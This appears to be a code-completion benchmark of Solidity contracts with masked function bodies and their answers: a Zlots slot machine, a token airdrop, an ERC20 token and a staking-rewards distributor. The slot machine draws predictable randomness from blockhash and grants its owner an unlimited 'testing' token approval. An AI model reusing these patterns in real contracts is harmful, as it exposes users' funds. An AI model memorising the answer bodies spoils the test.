contract Zlots is ZTHReceivingContract { using SafeMath for uint; address private owner; address private bankroll; // How many bets have been made? uint totalSpins; uint totalZTHWagered; // How many ZTH are in the contract? uint contractBalance; // Is betting allowed? (Administrative function, in the event of unforeseen bugs) bool public gameActive; address private ZTHTKNADDR; address private ZTHBANKROLL; ZTHInterface private ZTHTKN; mapping (uint => bool) validTokenBet; // Might as well notify everyone when the house takes its cut out. event HouseRetrievedTake( uint timeTaken, uint tokensWithdrawn ); // Fire an event whenever someone places a bet. event TokensWagered( address _wagerer, uint _wagered ); event LogResult( address _wagerer, uint _result, uint _profit, uint _wagered, uint _category, bool _win ); // Result announcement events (to dictate UI output!) event Loss(address _wagerer, uint _block); // Category 0 event ThreeMoonJackpot(address _wagerer, uint _block); // Category 1 event TwoMoonPrize(address _wagerer, uint _block); // Category 2 event ZTHJackpot(address _wagerer, uint _block); // Category 3 event ThreeZSymbols(address _wagerer, uint _block); // Category 4 event ThreeTSymbols(address _wagerer, uint _block); // Category 5 event ThreeHSymbols(address _wagerer, uint _block); // Category 6 event ThreeEtherIcons(address _wagerer, uint _block); // Category 7 event ThreeGreenPyramids(address _wagerer, uint _block); // Category 8 event ThreeGoldPyramids(address _wagerer, uint _block); // Category 9 event ThreeWhitePyramids(address _wagerer, uint _block); // Category 10 event OneMoonPrize(address _wagerer, uint _block); // Category 11 event OneOfEachPyramidPrize(address _wagerer, uint _block); // Category 12 event TwoZSymbols(address _wagerer, uint _block); // Category 13 event TwoTSymbols(address _wagerer, uint _block); // Category 14 event TwoHSymbols(address _wagerer, uint _block); // Category 15 event TwoEtherIcons(address _wagerer, uint _block); // Category 16 event TwoGreenPyramids(address _wagerer, uint _block); // Category 17 event TwoGoldPyramids(address _wagerer, uint _block); // Category 18 event TwoWhitePyramids(address _wagerer, uint _block); // Category 19 modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyBankroll { require(msg.sender == bankroll); _; } modifier onlyOwnerOrBankroll { require(msg.sender == owner || msg.sender == bankroll); _; } // Requires game to be currently active modifier gameIsActive { require(gameActive == true); _; } constructor(address ZethrAddress, address BankrollAddress) public {<FILL_FUNCTION_BODY> } // Zethr dividends gained are accumulated and sent to bankroll manually function() public payable { } // If the contract receives tokens, bundle them up in a struct and fire them over to _spinTokens for validation. struct TKN { address sender; uint value; } function tokenFallback(address _from, uint _value, bytes /* _data */) public returns (bool){ if (_from == bankroll) { // Update the contract balance contractBalance = contractBalance.add(_value); return true; } else { TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; _spinTokens(_tkn); return true; } } struct playerSpin { uint200 tokenValue; // Token value in uint uint48 blockn; // Block number 48 bits } // Mapping because a player can do one spin at a time mapping(address => playerSpin) public playerSpins; // Execute spin. function _spinTokens(TKN _tkn) private { require(gameActive); require(_zthToken(msg.sender)); require(validTokenBet[_tkn.value]); require(jackpotGuard(_tkn.value)); require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200; require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48 address _customerAddress = _tkn.sender; uint _wagered = _tkn.value; playerSpin memory spin = playerSpins[_tkn.sender]; contractBalance = contractBalance.add(_wagered); // Cannot spin twice in one block require(block.number != spin.blockn); // If there exists a spin, finish it if (spin.blockn != 0) { _finishSpin(_tkn.sender); } // Set struct block number and token value spin.blockn = uint48(block.number); spin.tokenValue = uint200(_wagered); // Store the roll struct - 20k gas. playerSpins[_tkn.sender] = spin; // Increment total number of spins totalSpins += 1; // Total wagered totalZTHWagered += _wagered; emit TokensWagered(_customerAddress, _wagered); } // Finish the current spin of a player, if they have one function finishSpin() public gameIsActive returns (uint) { return _finishSpin(msg.sender); } /* * Pay winners, update contract balance, send rewards where applicable. */ function _finishSpin(address target) private returns (uint) { playerSpin memory spin = playerSpins[target]; require(spin.tokenValue > 0); // No re-entrancy require(spin.blockn != block.number); uint profit = 0; uint category = 0; // If the block is more than 255 blocks old, we can't get the result // Also, if the result has already happened, fail as well uint result; if (block.number - spin.blockn > 255) { result = 9999; // Can't win: default to largest number } else { // Generate a result - random based ONLY on a past block (future when submitted). // Case statement barrier numbers defined by the current payment schema at the top of the contract. result = random(1000000, spin.blockn, target); } if (result > 476661) { // Player has lost. emit Loss(target, spin.blockn); emit LogResult(target, result, profit, spin.tokenValue, category, false); } else if (result < 1) { // Player has won the three-moon mega jackpot! profit = SafeMath.mul(spin.tokenValue, 500); category = 1; emit ThreeMoonJackpot(target, spin.blockn); } else if (result < 298) { // Player has won a two-moon prize! profit = SafeMath.mul(spin.tokenValue, 232); category = 2; emit TwoMoonPrize(target, spin.blockn); } else if (result < 3127) { // Player has won the Z T H jackpot! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232), 10); category = 3; emit ZTHJackpot(target, spin.blockn); } else if (result < 5956) { // Player has won a three Z symbol prize profit = SafeMath.mul(spin.tokenValue, 25); category = 4; emit ThreeZSymbols(target, spin.blockn); } else if (result < 8785) { // Player has won a three T symbol prize profit = SafeMath.mul(spin.tokenValue, 25); category = 5; emit ThreeTSymbols(target, spin.blockn); } else if (result < 11614) { // Player has won a three H symbol prize profit = SafeMath.mul(spin.tokenValue, 25); category = 6; emit ThreeHSymbols(target, spin.blockn); } else if (result < 14443) { // Player has won a three Ether icon prize profit = SafeMath.mul(spin.tokenValue, 50); category = 7; emit ThreeEtherIcons(target, spin.blockn); } else if (result < 17272) { // Player has won a three green pyramid prize profit = SafeMath.mul(spin.tokenValue, 40); category = 8; emit ThreeGreenPyramids(target, spin.blockn); } else if (result < 20101) { // Player has won a three gold pyramid prize profit = SafeMath.mul(spin.tokenValue, 20); category = 9; emit ThreeGoldPyramids(target, spin.blockn); } else if (result < 22929) { // Player has won a three white pyramid prize profit = SafeMath.mul(spin.tokenValue, 20); category = 10; emit ThreeWhitePyramids(target, spin.blockn); } else if (result < 52332) { // Player has won a one moon prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125),10); category = 11; emit OneMoonPrize(target, spin.blockn); } else if (result < 120225) { // Player has won a each-coloured-pyramid prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10); category = 12; emit OneOfEachPyramidPrize(target, spin.blockn); } else if (result < 171146) { // Player has won a two Z symbol prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); category = 13; emit TwoZSymbols(target, spin.blockn); } else if (result < 222067) { // Player has won a two T symbol prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); category = 14; emit TwoTSymbols(target, spin.blockn); } else if (result < 272988) { // Player has won a two H symbol prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); category = 15; emit TwoHSymbols(target, spin.blockn); } else if (result < 323909) { // Player has won a two Ether icon prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 375),100); category = 16; emit TwoEtherIcons(target, spin.blockn); } else if (result < 374830) { // Player has won a two green pyramid prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 35),10); category = 17; emit TwoGreenPyramids(target, spin.blockn); } else if (result < 425751) { // Player has won a two gold pyramid prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 225),100); category = 18; emit TwoGoldPyramids(target, spin.blockn); } else { // Player has won a two white pyramid prize! profit = SafeMath.mul(spin.tokenValue, 2); category = 19; emit TwoWhitePyramids(target, spin.blockn); } emit LogResult(target, result, profit, spin.tokenValue, category, true); contractBalance = contractBalance.sub(profit); ZTHTKN.transfer(target, profit); //Reset playerSpin to default values. playerSpins[target] = playerSpin(uint200(0), uint48(0)); return result; } // This sounds like a draconian function, but it actually just ensures that the contract has enough to pay out // a jackpot at the rate you've selected (i.e. 5,000 ZTH for three-moon jackpot on a 10 ZTH roll). // We do this by making sure that 25* your wager is no less than 90% of the amount currently held by the contract. // If not, you're going to have to use lower betting amounts, we're afraid! function jackpotGuard(uint _wager) private view returns (bool) { uint maxProfit = SafeMath.mul(_wager, 500); uint ninetyContractBalance = SafeMath.mul(SafeMath.div(contractBalance, 10), 9); return (maxProfit <= ninetyContractBalance); } // Returns a random number using a specified block number // Always use a FUTURE block number. function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(blockn), entropy) )); } // Random helper function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { return maxRandom(blockn, entropy) % upper; } // How many tokens are in the contract overall? function balanceOf() public view returns (uint) { return contractBalance; } function addNewBetAmount(uint _tokenAmount) public onlyOwner { validTokenBet[_tokenAmount] = true; } // If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets. function pauseGame() public onlyOwner { gameActive = false; } // The converse of the above, resuming betting if a freeze had been put in place. function resumeGame() public onlyOwner { gameActive = true; } // Administrative function to change the owner of the contract. function changeOwner(address _newOwner) public onlyOwner { owner = _newOwner; } // Administrative function to change the Zethr bankroll contract, should the need arise. function changeBankroll(address _newBankroll) public onlyOwner { bankroll = _newBankroll; } function divertDividendsToBankroll() public onlyOwner { bankroll.transfer(address(this).balance); } // Is the address that the token has come from actually ZTH? function _zthToken(address _tokenContract) private view returns (bool) { return _tokenContract == ZTHTKNADDR; } }
contract Zlots is ZTHReceivingContract { using SafeMath for uint; address private owner; address private bankroll; // How many bets have been made? uint totalSpins; uint totalZTHWagered; // How many ZTH are in the contract? uint contractBalance; // Is betting allowed? (Administrative function, in the event of unforeseen bugs) bool public gameActive; address private ZTHTKNADDR; address private ZTHBANKROLL; ZTHInterface private ZTHTKN; mapping (uint => bool) validTokenBet; // Might as well notify everyone when the house takes its cut out. event HouseRetrievedTake( uint timeTaken, uint tokensWithdrawn ); // Fire an event whenever someone places a bet. event TokensWagered( address _wagerer, uint _wagered ); event LogResult( address _wagerer, uint _result, uint _profit, uint _wagered, uint _category, bool _win ); // Result announcement events (to dictate UI output!) event Loss(address _wagerer, uint _block); // Category 0 event ThreeMoonJackpot(address _wagerer, uint _block); // Category 1 event TwoMoonPrize(address _wagerer, uint _block); // Category 2 event ZTHJackpot(address _wagerer, uint _block); // Category 3 event ThreeZSymbols(address _wagerer, uint _block); // Category 4 event ThreeTSymbols(address _wagerer, uint _block); // Category 5 event ThreeHSymbols(address _wagerer, uint _block); // Category 6 event ThreeEtherIcons(address _wagerer, uint _block); // Category 7 event ThreeGreenPyramids(address _wagerer, uint _block); // Category 8 event ThreeGoldPyramids(address _wagerer, uint _block); // Category 9 event ThreeWhitePyramids(address _wagerer, uint _block); // Category 10 event OneMoonPrize(address _wagerer, uint _block); // Category 11 event OneOfEachPyramidPrize(address _wagerer, uint _block); // Category 12 event TwoZSymbols(address _wagerer, uint _block); // Category 13 event TwoTSymbols(address _wagerer, uint _block); // Category 14 event TwoHSymbols(address _wagerer, uint _block); // Category 15 event TwoEtherIcons(address _wagerer, uint _block); // Category 16 event TwoGreenPyramids(address _wagerer, uint _block); // Category 17 event TwoGoldPyramids(address _wagerer, uint _block); // Category 18 event TwoWhitePyramids(address _wagerer, uint _block); // Category 19 modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyBankroll { require(msg.sender == bankroll); _; } modifier onlyOwnerOrBankroll { require(msg.sender == owner || msg.sender == bankroll); _; } // Requires game to be currently active modifier gameIsActive { require(gameActive == true); _; } <FILL_FUNCTION> // Zethr dividends gained are accumulated and sent to bankroll manually function() public payable { } // If the contract receives tokens, bundle them up in a struct and fire them over to _spinTokens for validation. struct TKN { address sender; uint value; } function tokenFallback(address _from, uint _value, bytes /* _data */) public returns (bool){ if (_from == bankroll) { // Update the contract balance contractBalance = contractBalance.add(_value); return true; } else { TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; _spinTokens(_tkn); return true; } } struct playerSpin { uint200 tokenValue; // Token value in uint uint48 blockn; // Block number 48 bits } // Mapping because a player can do one spin at a time mapping(address => playerSpin) public playerSpins; // Execute spin. function _spinTokens(TKN _tkn) private { require(gameActive); require(_zthToken(msg.sender)); require(validTokenBet[_tkn.value]); require(jackpotGuard(_tkn.value)); require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200; require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48 address _customerAddress = _tkn.sender; uint _wagered = _tkn.value; playerSpin memory spin = playerSpins[_tkn.sender]; contractBalance = contractBalance.add(_wagered); // Cannot spin twice in one block require(block.number != spin.blockn); // If there exists a spin, finish it if (spin.blockn != 0) { _finishSpin(_tkn.sender); } // Set struct block number and token value spin.blockn = uint48(block.number); spin.tokenValue = uint200(_wagered); // Store the roll struct - 20k gas. playerSpins[_tkn.sender] = spin; // Increment total number of spins totalSpins += 1; // Total wagered totalZTHWagered += _wagered; emit TokensWagered(_customerAddress, _wagered); } // Finish the current spin of a player, if they have one function finishSpin() public gameIsActive returns (uint) { return _finishSpin(msg.sender); } /* * Pay winners, update contract balance, send rewards where applicable. */ function _finishSpin(address target) private returns (uint) { playerSpin memory spin = playerSpins[target]; require(spin.tokenValue > 0); // No re-entrancy require(spin.blockn != block.number); uint profit = 0; uint category = 0; // If the block is more than 255 blocks old, we can't get the result // Also, if the result has already happened, fail as well uint result; if (block.number - spin.blockn > 255) { result = 9999; // Can't win: default to largest number } else { // Generate a result - random based ONLY on a past block (future when submitted). // Case statement barrier numbers defined by the current payment schema at the top of the contract. result = random(1000000, spin.blockn, target); } if (result > 476661) { // Player has lost. emit Loss(target, spin.blockn); emit LogResult(target, result, profit, spin.tokenValue, category, false); } else if (result < 1) { // Player has won the three-moon mega jackpot! profit = SafeMath.mul(spin.tokenValue, 500); category = 1; emit ThreeMoonJackpot(target, spin.blockn); } else if (result < 298) { // Player has won a two-moon prize! profit = SafeMath.mul(spin.tokenValue, 232); category = 2; emit TwoMoonPrize(target, spin.blockn); } else if (result < 3127) { // Player has won the Z T H jackpot! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232), 10); category = 3; emit ZTHJackpot(target, spin.blockn); } else if (result < 5956) { // Player has won a three Z symbol prize profit = SafeMath.mul(spin.tokenValue, 25); category = 4; emit ThreeZSymbols(target, spin.blockn); } else if (result < 8785) { // Player has won a three T symbol prize profit = SafeMath.mul(spin.tokenValue, 25); category = 5; emit ThreeTSymbols(target, spin.blockn); } else if (result < 11614) { // Player has won a three H symbol prize profit = SafeMath.mul(spin.tokenValue, 25); category = 6; emit ThreeHSymbols(target, spin.blockn); } else if (result < 14443) { // Player has won a three Ether icon prize profit = SafeMath.mul(spin.tokenValue, 50); category = 7; emit ThreeEtherIcons(target, spin.blockn); } else if (result < 17272) { // Player has won a three green pyramid prize profit = SafeMath.mul(spin.tokenValue, 40); category = 8; emit ThreeGreenPyramids(target, spin.blockn); } else if (result < 20101) { // Player has won a three gold pyramid prize profit = SafeMath.mul(spin.tokenValue, 20); category = 9; emit ThreeGoldPyramids(target, spin.blockn); } else if (result < 22929) { // Player has won a three white pyramid prize profit = SafeMath.mul(spin.tokenValue, 20); category = 10; emit ThreeWhitePyramids(target, spin.blockn); } else if (result < 52332) { // Player has won a one moon prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125),10); category = 11; emit OneMoonPrize(target, spin.blockn); } else if (result < 120225) { // Player has won a each-coloured-pyramid prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10); category = 12; emit OneOfEachPyramidPrize(target, spin.blockn); } else if (result < 171146) { // Player has won a two Z symbol prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); category = 13; emit TwoZSymbols(target, spin.blockn); } else if (result < 222067) { // Player has won a two T symbol prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); category = 14; emit TwoTSymbols(target, spin.blockn); } else if (result < 272988) { // Player has won a two H symbol prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); category = 15; emit TwoHSymbols(target, spin.blockn); } else if (result < 323909) { // Player has won a two Ether icon prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 375),100); category = 16; emit TwoEtherIcons(target, spin.blockn); } else if (result < 374830) { // Player has won a two green pyramid prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 35),10); category = 17; emit TwoGreenPyramids(target, spin.blockn); } else if (result < 425751) { // Player has won a two gold pyramid prize! profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 225),100); category = 18; emit TwoGoldPyramids(target, spin.blockn); } else { // Player has won a two white pyramid prize! profit = SafeMath.mul(spin.tokenValue, 2); category = 19; emit TwoWhitePyramids(target, spin.blockn); } emit LogResult(target, result, profit, spin.tokenValue, category, true); contractBalance = contractBalance.sub(profit); ZTHTKN.transfer(target, profit); //Reset playerSpin to default values. playerSpins[target] = playerSpin(uint200(0), uint48(0)); return result; } // This sounds like a draconian function, but it actually just ensures that the contract has enough to pay out // a jackpot at the rate you've selected (i.e. 5,000 ZTH for three-moon jackpot on a 10 ZTH roll). // We do this by making sure that 25* your wager is no less than 90% of the amount currently held by the contract. // If not, you're going to have to use lower betting amounts, we're afraid! function jackpotGuard(uint _wager) private view returns (bool) { uint maxProfit = SafeMath.mul(_wager, 500); uint ninetyContractBalance = SafeMath.mul(SafeMath.div(contractBalance, 10), 9); return (maxProfit <= ninetyContractBalance); } // Returns a random number using a specified block number // Always use a FUTURE block number. function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(blockn), entropy) )); } // Random helper function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { return maxRandom(blockn, entropy) % upper; } // How many tokens are in the contract overall? function balanceOf() public view returns (uint) { return contractBalance; } function addNewBetAmount(uint _tokenAmount) public onlyOwner { validTokenBet[_tokenAmount] = true; } // If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets. function pauseGame() public onlyOwner { gameActive = false; } // The converse of the above, resuming betting if a freeze had been put in place. function resumeGame() public onlyOwner { gameActive = true; } // Administrative function to change the owner of the contract. function changeOwner(address _newOwner) public onlyOwner { owner = _newOwner; } // Administrative function to change the Zethr bankroll contract, should the need arise. function changeBankroll(address _newBankroll) public onlyOwner { bankroll = _newBankroll; } function divertDividendsToBankroll() public onlyOwner { bankroll.transfer(address(this).balance); } // Is the address that the token has come from actually ZTH? function _zthToken(address _tokenContract) private view returns (bool) { return _tokenContract == ZTHTKNADDR; } }
// Set Zethr & Bankroll address from constructor params ZTHTKNADDR = ZethrAddress; ZTHBANKROLL = BankrollAddress; // Set starting variables owner = msg.sender; bankroll = ZTHBANKROLL; // Approve "infinite" token transfer to the bankroll, as part of Zethr game requirements. ZTHTKN = ZTHInterface(ZTHTKNADDR); ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1); // For testing purposes. This is to be deleted on go-live. (see testingSelfDestruct) ZTHTKN.approve(owner, 2**256 - 1); // To start with, we only allow spins of 5, 10, 25 or 50 ZTH. validTokenBet[5e18] = true; validTokenBet[10e18] = true; validTokenBet[25e18] = true; validTokenBet[50e18] = true; gameActive = true;
constructor(address ZethrAddress, address BankrollAddress) public
constructor(address ZethrAddress, address BankrollAddress) public
92759
XMTCandy
contract XMTCandy { function () payable public {<FILL_FUNCTION_BODY> } }
contract XMTCandy { <FILL_FUNCTION> }
msg.sender.transfer(msg.value); token(0xE5C943Efd21eF0103d7ac6C4d7386E73090a11af).transfer(msg.sender, 10000000000000000000000);
function () payable public
function () payable public
62895
Stupid
approveAndCall
contract Stupid is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Stupid() public { symbol = "STPD"; name = "Stupid"; decimals = 8; _totalSupply = 20000000000; balances[0x96e02A2c4c8c20ffF5c4373fE34B0589E826eD7A] = _totalSupply; emit Transfer(address(0), 0x96e02A2c4c8c20ffF5c4373fE34B0589E826eD7A, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract Stupid is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Stupid() public { symbol = "STPD"; name = "Stupid"; decimals = 8; _totalSupply = 20000000000; balances[0x96e02A2c4c8c20ffF5c4373fE34B0589E826eD7A] = _totalSupply; emit Transfer(address(0), 0x96e02A2c4c8c20ffF5c4373fE34B0589E826eD7A, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true;
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
46355
FRAX3CRV_Curve_FXS_Distributor
withdraw
contract FRAX3CRV_Curve_FXS_Distributor is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _rewardsDistribution, address _rewardsToken, address _stakingToken, uint256 _rewardsDuration ) public Owned(_owner) { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); rewardsDistribution = _rewardsDistribution; rewardsDuration = _rewardsDuration; } /* ========== VIEWS ========== */ function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {<FILL_FUNCTION_BODY> } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { withdraw(_balances[msg.sender]); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) { // handle the transfer of reward tokens via `transferFrom` to reduce the number // of transactions required and ensure correctness of the reward amount rewardsToken.safeTransferFrom(msg.sender, address(this), reward); if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token"); IERC20(tokenAddress).safeTransfer(owner, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); }
